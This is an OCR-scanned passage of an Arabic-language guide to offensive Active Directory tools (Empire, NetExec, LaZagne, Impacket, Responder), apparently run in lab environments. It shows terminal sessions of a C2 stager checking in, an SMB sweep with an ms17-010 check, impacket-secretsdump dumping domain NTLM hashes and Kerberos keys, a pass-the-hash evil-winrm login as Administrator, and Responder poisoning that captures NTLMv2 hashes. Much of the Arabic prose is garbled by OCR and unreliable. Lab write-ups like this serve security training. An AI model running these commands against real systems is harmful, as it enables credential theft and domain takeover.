Alad) i) ~lide Ju s Al Aa el i iy o iy (Rnall) ienll (Check-in): Juad) adiv) ¥
UMSTYRFP auls (Active Agent) Laii JaesS abiaud o3 o5 Ll (alil (RSA Key)

EGERN]

(yaser CyberBookio)-[~]

$ sudo powershell-empire server
[INFO] : Submodules auto update enabled. Loading.
[INFO]: No .git directory found. Skipping submodule fetch.
[INFO] : Checking submodules. ..
[INFO]: No .git directory found. Skipping submodule check.
[INFO] : Using mysql database.
[INFO] : Empire starting up...
[INFO]: v2: Loading listener templates from: /usr/share/powershell-empire/empire/serv
[INFO]: v2: Loading stager templates from: /usr/share/powershell-empire/empire/server
[INFO]: v2: Loading bypasses from: /usr/share/powershell-empire/empire/server/bypasse
[INFO] : v2: Loading malleable profiles from: /usr/share/powershell-empire/empire/serv
[INFO]: v2: Loading modules from: /usr/share/powershell-empire/empire/server/modules
[INFQO] : Searching for plugins at /usr/share/powershell-empire/empire/server/plugins
[INFO] : Initializing plugin: Basic Reporting

* Serving Flask app 'http'
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* Debug mode: off

[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :

CyberBook.io

Listener "http" successfully started

Starkiller enabled. Loading.

Starkiller served at the same ip and port as Empire Server

Starkiller served at http://localhost:1337/

Started server process [328410]

Waiting for application startup.

Application startup complete.

Uvicorn running on http://0.0.0.0:1337 (Press CTRL+C to quit)

127.0.0.1:51500 - "GET /socket.io/7EIO0=4&transport=polling&t=izOvirnl HTTP/1.

empireadmin connected to socketio

127.0.0.1:51500 - "POST /socket.io/?7EI0=4&transport=polling&t=1z0v8v1x&sid=35

('127.0.0.1"', 51502) - "WebSocket /socket.io/7EIO0=4&transport=websocket&sid=3

127.0.0.1:51510 - "GET /socket.io/7EI0=4&transport=polling&t=iz0v9xbp&sid=35f

connection open

127.0.0.1:51500 - "GET /socket.io/?EIO0=4&transport=polling&t=izOvnebe&sid=35f

http: Sending POWERSHELL stager (stage 1) to 10.49.156.213

Agent UMBTYRFP from 10.49.156.213 posted public key

Agent UMSBTYRFP from 10.49.156.213 posted valid PowerShell RSA key

New agent UMSTYRFP checked in

Initial agent UMSBTYRFP from 10.49.156.213 now active

http:

127.0.
127.0.
127.
127.
127.
127.
127.
127.
127.
127.

0.

O O O O o o o

Sending agent (stage 2) to UMBTYRFP at 10.49.156.213

0
0
0
0
.0.
0
0
0
0
0

1
.1
1

:50886
:50880
:50880
:35662
:35664
:35666
:35678
:35662
:35664
:35678

"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET

/assets/download-stager-ae353708.js HTTP/1.1" 200
/assets/Stagers-d7273358. js HTTP/1.1" 200
/api/v2/stagers HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200
/api/v2/tags?page=1&limit=-1&sources=1listener&order_by
/api/v2/listeners HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
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[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFQ] :
[INFQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFQ] :
[INFO] :
[INFO] :
[INFQ] :
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127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.

O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o

135692
:35662
:35664
: 35666
:35704
135692
:35692
: 35678
:35662
:35664
: 35666
143522
143508
143508
143508
143522
:43534
143508
:43508
143508
143548
143540
:43508
143508
143726
143726
143748
143756
143764
143766
143738
143772

"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET

/api/v2/credentials HTTP/1.1" 200

/api/v2/bypasses HTTP/1.1" 200
/api/v2/listener-templates HTTP/1.1" 200
/api/v2/malleable-profiles HTTP/1.1" 200
/api/v2/listeners/1 HTTP/1.1" 200
/api/v2/listener-templates/http HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/credentials HTTP/1.1" 200
/api/v2/malleable-profiles HTTP/1.1" 200
/api/v2/bypasses HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200
/assets/AgentsList-b14b6£00.css HTTP/1.1" 200
/assets/AgentsList-8927a817.js HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/tags?page=1&limit=-1&sources=agent&order_by=up
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/stagers HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200
/api/v2/tags?page=1&limit=-1&sources=1listener&order_by
/api/v2/listeners HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200

/api/v2/listeners HTTP/1.1" 200

/api/v2/stagers HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/malleable-profiles HTTP/1.1" 200
/api/v2/bypasses HTTP/1.1" 200

/api/v2/credentials HTTP/1.1" 200
/api/v2/listeners HTTP/1.1" 200
/api/v2/stager-templates HTTP/1.1" 200
/api/v2/stagers/1 HTTP/1.1" 200

AR sl uly 3



[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFQ] :
[INFQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFOQ] :
[INFO] :
[INFO] :
[INFQ] :
[INFOQ] :
[INFO] :
[INFOQ] :
[INFQ] :
[INFO] :
[INFO] :
[INFQ] :
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127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.
127.

O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o

143772
143772
143748
143756
143738
143726
143748
:38000
:38000
:38012
:38000
:38000
149372
149406
149418
149388
149394
149380
149382
149406
149394
149382
149388
149418
149406
149394
149380
149380
149388
149394
149406
149382

"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET

/api/v2/stager-templates/windows_launcher_bat HTTP/1.1
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/listeners HTTP/1.1" 200
/api/v2/malleable-profiles HTTP/1.1" 200
/api/v2/bypasses HTTP/1.1" 200

/api/v2/credentials HTTP/1.1" 200

/api/v2/stagers HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/tags?page=1&limit=-1&sources=agent&order_by=up
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/assets/VPagination-bfdc9f4d. js HTTP/1.1" 200
/assets/VPagination-eOf3cace.css HTTP/1.1" 200
/assets/ansi_up-2bbf37e0.js HTTP/1.1" 200
/assets/index-1dc07863.js HTTP/1.1" 200
/assets/AgentEdit-2delcl7e.js HTTP/1.1" 200
/assets/AgentTasksList-3ceb9eaa.js HTTP/1.1" 200
/assets/ExpansionPanelSearch-a61d395d. js HTTP/1.1" 200
/assets/AgentExecuteModule-28227b5f . js HTTP/1.1" 200
/assets/AgentExecuteModule-fdfbdfe6.css HTTP/1.1" 200
/assets/TechniqueChips-8e73515a. js HTTP/1.1" 200
/assets/AgentTasksList-988c7e74.css HTTP/1.1" 200
/assets/AgentEdit-688eb9a4d.css HTTP/1.1" 200
/api/v2/agents/UMSTYRFP HTTP/1.1" 200

/api/v2/modules HTTP/1.1" 200
/api/v2/agents?include_archived=true HTTP/1.1" 200
/api/v2/malleable-profiles HTTP/1.1" 200
/api/v2/listeners HTTP/1.1" 200

/api/v2/credentials HTTP/1.1" 200

/api/v2/bypasses HTTP/1.1" 200
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[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:54596 - "GET /api/v2/tags?page=1&limit=-1&sources=agent&order_by=up
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:40370 - "GET /api/v2/modules HTTP/1.1" 200

[INFO]: 127.0.0.1:40378 - "GET /api/v2/agents/UMSTYRFP HTTP/1.1" 200

[INFO]: 127.0.0.1:40370 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:40378 - "GET /api/v2/listeners HTTP/1.1" 200

[INFO]: 127.0.0.1:40400 - "GET /api/v2/bypasses HTTP/1.1" 200

[INFO]: 127.0.0.1:40380 - "GET /api/v2/credentials HTTP/1.1" 200

[INFO]: 127.0.0.1:40386 - "GET /api/v2/malleable-profiles HTTP/1.1" 200

https://github.com/BC-SECURITY/Empire :Jsad

CrackMapExec (NetExec) ¢.°

s <Active Directory <l aalall e sadl il o Wil oy caa b A 31881 Y oY) daa
LY cainily a8 Ly 2023 sle & NetExec ol bawy leand L o3 il 5) CrackMapExec
CISE ae daladll die edall 5 oan gil) ASie Jadl Cigla Python 3al 4y siSall s1aY1 o2 (R 5l e 3daiilL
aall 310N o3 i (A jite <l ol aladtl 51 G g J Al Qa4 503 (e Yad 33621 VT e 5 siad dadun
A s e aldie ) clily daa (e 38l 5 (Password Spraying) ssoel Sl i) clblee ¢ g
Ll 48 yisall il ail 4y Gl 3aclE b 65 ae 32530 O 55 2 (Subnet) JelSlL

LDAPs WIinRM Jie 4akai¥) 302 ¥ Sig 0 pedi i ccound SMB JsSsisn ao shY) &S5 Y
(Post- d2iuY) a0 Lo alge diaiY 438 5all diaiall Lelaay Laa «WNC s FTPs RDPs SSHs MSSQL 5
Ade) @by Je Jpasll 2 aa (Lateral Movement) il @ adll @l jlus a3s3 5 Exploitation)
LSA 5 SAM Jis iy gl jaial casd e el 5¥) 2l ¢ yall (Modules) clas sl aUas aladin) (Ko ddalla
acxi Adesll mal y jslad s 5l (Metasploit sl Empire Jie C2 ¢3S cudi <NTDS.dits Secrets
& iinad Al 310N Ledaay Laa casang) @l e Jalad g bl paiatl BloodHound g JelSall Layf 31aY)
Adlle 56l A pal) K lal axil 5) 53Y)

-
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https://github.com/BC-SECURITY/Empire

adiia Y dans sia | slladll 5 leall (5 gia

Linux, Windows, macOS Jial) dalasl
sl Aalsa)
BSD 2-Clause License o il g g

NetExec slal pailias

:NetExec (2l (EternalBlue) s_ a8 L) 5 4838l pasd 1 dee JUa

1. nxc smb 10.49.170.0/24
2. nxc smb 10.49.170.84 -u 'guest' -p '' --shares
3. nxc smb 10.49.170.84 -u '' -p '' -M ms17-010

EM L ¢ jlisd) 13 & CrackMapExec 312Y duaall 4adall NetExec (nxc) 5 :Jial ¢ s
Aanda Gl glad

545 SMBV1 JsS 55 duni o Windows 7 olais Jesy Slea oo i€ 1531 pandll rddilisiay) )

(e Clall) clid Guest cluas J 3l A las 1Jgagh e (383 Y

VULNERABLE LIKELY 4asiill \ms17-010 -M dase_yall 2a gl Laaiiil caldaill jlaca) o 2Ly sl a8 (asd ¥
(SYSTEM) aLelsl) aUail) ciliaSlay 48) ials zravs Lae <EternalBlue 3 sk clias Jleall 138 of s

A e
AEGERN]

(yaser CyberBookio)-[~]
$ nxc smb 10.49.170.0/24
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules

[*] Creating missing folder protocols
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[*] Creating missing folder workspaces

[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots

[*] Creating missing folder logs/sam

[*] Creating missing folder logs/lsa

[*] Creating missing folder logs/ntds

[*] Creating missing folder logs/dpapi

[*] Creating default workspace

[*] Initializing RDP protocol database

[*] Initializing VNC protocol database

[*] Initializing SSH protocol database

[*] Initializing SMB protocol database

[*] Initializing WMI protocol database

[*] Initializing FTP protocol database

[*] Initializing WINRM protocol database

[*] Initializing MSSQL protocol database

[*] Initializing LDAP protocol database

[*] Initializing NFS protocol database

[*] Copying default configuration file

SMB 10.49.170.84 445 JON-PC [*] Windows 7 / Server 2008 R2 B

Running nxc against 256 targets 100% 0:00:00

(yaser CyberBookio)-[~]

$ nxc smb 10.49.170.84 -u 'guest' -p '' --shares
SMB 10.49.170.84 445 JON-PC [*] Windows 7 / Server 2008 R2 B
SMB 10.49.170.84 445 JON-PC [-] Jon-PC\guest: STATUS_ACCOUNT

(yaser CyberBookio)-[~]

$ nxc smb 10.49.170.84 -u '' -p '' -M ms17-010
SMB 10.49.170.84 445 JON-PC [*] Windows 7 / Server 2008 R2 B
SMB 10.49.170.84 445 JON-PC [+] Jon-PC\:
MS17-010 [+] 10.49.170.84 is likely VULNER
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(yaser CyberBookio)-[~]
$

https://github.com/byt3bl33d3r/CrackMapExec :Jsaad

LaZagne Project 1.°

}i Lags LS e G aad) ela La (as) el bS5 ) = LﬁJﬂgﬂ Al Jaiis LaZagne g s s
dal Cuala (AlessandroZ - <is y» Alessandro Zanni W sk 1) Haaall da i) 3laY) o2 (Jusl)

Jalise Tl 50 150 oo ST (g Ll A3 3l 5 el ClalS )il Al Aiaily 3101 02 o 55 ¢aldail

e i ((Operas Edge s Firefoxs Chrome Jic) cilasuaiall i il sine g0 lalS S ¢l u
> sl ¢(Thunderbird s Outlook Jie) 3l e3ee 5l «clibadl ae) 85 )y <5l i (FileZilla Jis) FTP
Ll oda il il JUaill AP Gilgal 5 padivn (S5 iy ol Janalls iy LaZagne ol (Wi-Fi <iSes
Jess e ¢(Standalone Executable) cui ) zlisg ¥ Jiive (s caleS 6 el oo L aa¥) 3 50
I5Y) dasll 3130 Leaay Laa (Python ciliSe cudil dalal) 5 € 3 & 3 050 vl Slea o 3l el
38 5 Ay Sl Y1 by pend B (5 s

da dualdl)
tise | slhaall 3 leall (5 sl
Windows, Linux, macOS i) dalas]
JASI s 44l<3))
LGPL 0.3 s il g 5

LaZagne B1al uailiad

https://github.com/AlessandroZ/LaZagne :Jsal
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https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/AlessandroZ/LaZagne

Impacket V.°

Windows <l s dae sael) Linux deail G daas 5 Gadalall 250 dallue Sy 22 3 s Impacket duse sl 44l

SecureAuth Corporation ual b sk ll) Python <iliSa s sa saai (e daduall de ganall o3 dpusss 3al)

Y S 5550 (Low-Level) s siwall paidia ae e 285 A Ji ol 53l 3y sl (Fortra oY) iibea i

G AAY) it midi Ll S8 i e85 WML LDAP s MSRPC s Kerberos s SMB/CIFS Jie 4.l
Aol Windows < sl alasiud daladl ¢ 5 Kali Linux aUas (e <Y €55 5 aden cas 3 e 3 )il

LSA Secrets s SAM s NTDS.dit z!_2iuY secretsdump.py Jie il casaal il gol 438 panas

sy Glesa 2asl ntimrelayx.pys «SYSTEM <la3la: (Shell) 3,48 e Jsasll psexec.py.s

«Kerberoasting - GetUserSPNs.py s <AS-REP Roasting el GetNPUsers.py s <NTLM Relay

Jial Y il 2saall Impacket Jead @l ¥ eda JS e (e 2asll wmiexec.py s smbexec.py s

Active Directory il s 5 s 3l )

Al daldl)

(:JSSA‘_AJLM}L t,i)M\BJL@.AS‘&)M

Linux, Windows, macOS ol Aokl
JalSIl e al<a)
Apache License 0.2 s il ¢ 5

Impacket 48 palliad

(Pass-The-Hash): 4 s (SecretsDump) alasiuls laill e 4Ll 3 jlasill 1 das JUa

1. impacket-secretsdump
spookysec.local/backup: 'backup2517860'@10.48.139.39
2. evil-winrm -i 10.48.139.39 -u Administrator -H [ADMIN NTHASH]

ol c(:ﬁ.ﬂ.u]\ <l ghadl) u,a) backup Gl ULy ‘;r_ Jpanll 22y L.?’LG_J‘ ej;@l\ 5a 1da s JE CJ&

:secretsdump 3 e DCSyNc asaa il

e )9 e GlalS Al et e CalS Lae « WS NTDS. dit @liln 32c 8 s o3 Hashes: &) gl oadiad )
(NTLM Hashes) @il & (persinual)
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8 il Laladinad o3 (Administrator) Js sl Aalall NTLM 5 a3 apani o3 1(PtH) Aals 5 jlasaad) Y
Domain Administrator <a3a: PowerShell dixa e J pasll s J 2 EVil-WINRM 31 as

Aol el Al 4 jaal dalall (52 (thm-ad\administrator)

e GERN]

(yaser CyberBookio)-[~]

$ impacket-secretsdump spookysec.local/backup: 'backup2517860'0@10.48.139.39

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using

the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcbdfc: :

Guest:501:

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0: : :

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158¢c27bed09861033026bedc21: : :

spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.

spookysec.

local\skidy:1103:aad3b435b51404eeaad3b435b51404ee: 5£€9353d4b96cc410b62cb7el
local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5£e9353d4b96cc4
local\james:1105:aad3b435b51404eeaad3b435b51404ee: 9448bf6aba63d154eb0c66507
local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f
local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e996541
local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee: cfd70af882d53d758a1612
local\0ri:1109:aad3b435b51404eeaad3b435b51404ee: c930bad9f999305d9c00a874543
locall\robin:1110:aad3b435b51404eeaad3b435b51404ee: 642744a46b9d4f6df£8942d23
local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfabead6b5a302
local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aal
local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2£d2
local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f691
local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135£4b40f1cal
local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b942214972

ATTACKTIVEDIREC$:1000:2ad3b435b51404eeaad3b435b51404ee:4c23996cc0727b560b9ead5a5c84d5

[*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-shal-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c

Administrator:aesl128-cts-hmac-shal-96:e9077719bc770aff5d8bfc2d54d226ae
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Administrator:des-cbc-md5:2079ce0ebdf189ad

krbtgt:aes256-cts-hmac-shal-96:b52e11789ed6709423fd7276148cfed7deabf189£3234ed0732725

krbtgt:aes128-cts-hmac-shal-96:e7301235ae62dd8884d9b890f38e3902

krbtgt:des-cbc-md5:b94£97e97fabbfbd

spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.

spookysec.

CyberBook.io

local\skidy:aes256-cts-hmac-shal-96:3ad697673edcal2a01d5237f0bee628460flelc
local\skidy:aes128-cts-hmac-shal-96:484d875e30a678b56856b0fef09e1233
local\skidy:des-cbc-md5:b092a73e3d256b1f
local\breakerofthings:aes256-cts-hmac-shal-96:4c8a03aa7b52505aeef79cecd3cfd
local\breakerofthings:aes128-cts-hmac-shal-96:38a1f£7262634601d2df08b3a004da
local\breakerofthings:des-cbc-md5:7a976bbfab86b064
local\james:aes256-cts-hmac-shal-96:1bb2c7fdbecc9d33£303050d77b6bff0e74d018
local\james:aes128-cts-hmac-shal-96:08fead7e79d2b085daec0e95£86c763e6
local\james:des-cbc-md5:dc971f4a91dcebe9
local\optional:aes256-cts-hmac-shal-96:fe0553c1f1fc93f90630b6e27e188522b084
local\optional :aes128-cts-hmac-shal-96:02f4a47a426ba0dc8867b74e90c8d510
local\optional:des-cbc-md5:8c6e2a8a615bd054
local\sherlocksec:aes256-cts-hmac-shal-96:80df417629b0ad286b94cadad65a5589c
local\sherlocksec:aes128-cts-hmac-shal-96:c3db61690554a077946ecdabc7bdbele
local\sherlocksec:des-cbc-md5:08dcadcbbc3bb594
local\darkstar:aes256-cts-hmac-shal-96:35c78605606a6d63a40ea4779f15dbbf6d40
local\darkstar:aes128-cts-hmac-shal-96:461b7d2356eee84b211767941dc893be
local\darkstar:des-cbc-md5:758af4d061381cea
local\Ori:aes256-cts-hmac-shal-96:5534c1b0f98d82219eed4clcc63cfd73a9416f5f6a
local\Ori:aes128-cts-hmac-shal-96:5ee50856b24d48fddfc9da965737a25e
local\Ori:des-cbc-md5:1c8£79864654cd4a
local\robin:aes256-cts-hmac-shal-96:8776bd64fcfcf3800df2f958d144ef72473bd89
local\robin:aes128-cts-hmac-shal-96:733bf907e518d2334437eacb9e4033c8
local\robin:des-cbc-md5:89a7c2fe7abb9d64
local\paradox:aes256-cts-hmac-shal-96:64ff474f12aae00c596c1dceOcfc9584358d1
local\paradox:aes128-cts-hmac-shal-96:£09a5214e38285327bb9a7fed1db56b8
local\paradox:des-cbc-md5:83988983f8b34019
local\Muirland:aes256-cts-hmac-shal-96:81db9a8a29221c5be13333559a554389¢e16a
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spookysec.local\Muirland:aes128-cts-hmac-shal-96:2846fc7ba29b36f£6401781bc90elaaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-shal-96:891e3ae9c420659cafb5a6237120b50f2648
spookysec.local\horshark:aes128-cts-hmac-shal-96:c6£6248b932ffd75103677a15873837¢
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-shal-96:effa9b7dd43e1e58db9ac68a4397822bb5eb
spookysec.local\svc-admin:aes128-cts-hmac-shal-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-shal-96:23566872a9951102d116224ea4ac8943483bf0
spookysec.local\backup:aes128-cts-hmac-shal-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f 6489
spookysec.local\a-spooks:aes256-cts-hmac-shal-96:cfd00f7ebd5ec38a5921a408834886f40alf
spookysec.local\a-spooks:aes128-cts-hmac-shal-96:31d65c2f73fb142ddc60e0£3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4asdce9
ATTACKTIVEDIREC$:aes256-cts-hmac-shal-96:c09b1f59bdf9d1e87e061ac503218e83ee3bab20c1f9
ATTACKTIVEDIREC$:aes128-cts-hmac-shal-96:425ecc3988045d5efb8ec346c7b6al52
ATTACKTIVEDIREC$:des-cbc-md5:4fce89193e£d4638

[*] Cleaning up...

(yaser CyberBookio)-[~]
$ evil-winrm -i 10.48.139.39 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/e

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

thm-ad\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> exit
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Info: Exiting with code 0

(yaser CyberBookio)-[~]
$

https://github.com/fortra/impacket :Jsaal

Responder A.¢

L S Adalall clSulll laa) il o) aal s shal e Ldiad (Laurent Gaffie sk 1) Responder sl
Lysa ol palas Juai¥) Slea Jslas Lxie Windows bl b Gaeuh dee Al Jaies Cum clgibalboy b 4 s
Jis (Fallback Protocols) dubbia¥) dall oy S 5iy S Lol sl sl (DNS e and) da 8 Jiiiag
Adadl) A58 3 au) e Sl MDNS 5 NBT-NS 5 LLMNR
(ol da bl da ) 0 jae cllhall sl ale (S35 4S8 GBI 5 Cus «Responder L se sl L
Lol 3101 o g disliaall y Juai¥) dmaall Jleadl Jslay Lodie o sllaall aalal) Lil e e jlm JS8 2L 56

3aaxie At 5 ol sa i 31V ae i 5 AV Aaliadll clily sl NTLMVA/NTLMV2 cilils Jie slaie V) ey
310 Ledany Laa calaie V) il (e 220 SH Ll (el SQL s LDAP s FTPs HTTP/HTTPS s SMB Jie

Ll @) sl sl ol 8 Al

dagdl) dalll)
b gia Y stine | sl 3 leall (5 sina
Linux, Windows, macOS sl daas
(e ekl
GPL-0.3 License e il g g

Responder sl jailias

(Password Hashes) Ll <€ <l jas (al sie) 5 (LLMNR Poisoning) assa o 1les Jha

:Responder alaaiul

sudo responder -I tunO -wv
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Agladl) il 8 d8abiad) cildla il yie Y dluY1 50Y) Responder a5 1 Jbal) 7

i sinl ¢l ) 385 VPN G pe o sagll 48 4 5l tun0 deal sl 3s3 23 :(OPSEC) (Al o) o
ealeadll (LY P ol i cliaY

(THM-WINFUN2\Administrator) J.sssall Slea ady las 33 58iall 3 j¢a¥) elanl cilidhl Responder cuaiui 1 oal jisY) e
Y aslil Al e ol aaladll ) (NTLMV2 Hash) s all 4alS 45 5 Jl ) )

3aaa Al dlae o8 4525 S 5 (Administrator)e aadivall avl (il 44lliie G jad 3o al el &5 dagill) o

.Offline Cracking gy & el AdS e <lal
rcla Al

yaser@CyberBookio:~$ sudo responder -I tunO -wv

[+] Poisoners:

LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]

[+] Servers:

HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
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SQL server [ON]

FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]

[+] HTTP Options:

Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:

Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]

Force ESS downgrade [OFF]

[+] Generic Options:

Responder NIC [tunO]

Responder IP [192.168.154.215]

Responder IPv6 [fe80::588a:8aa3:a91f:ab26]
Challenge set [random]

Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
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Don't Respond To MDNS TLD ['_DOSVC']

TTL for poisoned response [default]

[+] Current Session Variables:
Responder Machine Name [WIN-5JSAC84HXGQ]

Responder Domain Name [ZMD7.LOCAL]

Responder DCE-RPC Port [46454]

[*] Version: Responder 3.1.7.0

[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...

[SMB] NTLMv2-SSP Client 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator: :THM-WINFUN2:2a8504bb5c758cef : 404CEA8SDD63
[SMB] NTLMv2-SSP Client 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator::THM-WINFUN2:46c11ad603095bdc:7C9F943D11C
[SMB] NTLMv2-SSP Client 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator::THM-WINFUN2:2748ac1ff5dbeb32:E131D656181
[SMB] NTLMv2-SSP Client 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator::THM-WINFUN2:a61d259bde013533:95D89858EBF
[SMB] NTLMv2-SSP Client 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator

[SMB] NTLMv2-SSP Hash : Administrator::THM-WINFUN2:82ccfab43a605952:11310115E7C
[SMB] NTLMv2-SSP Client 10.49.156.213

[SMB] NTLMv2-SSP Username : THM-WINFUN2\Administrator
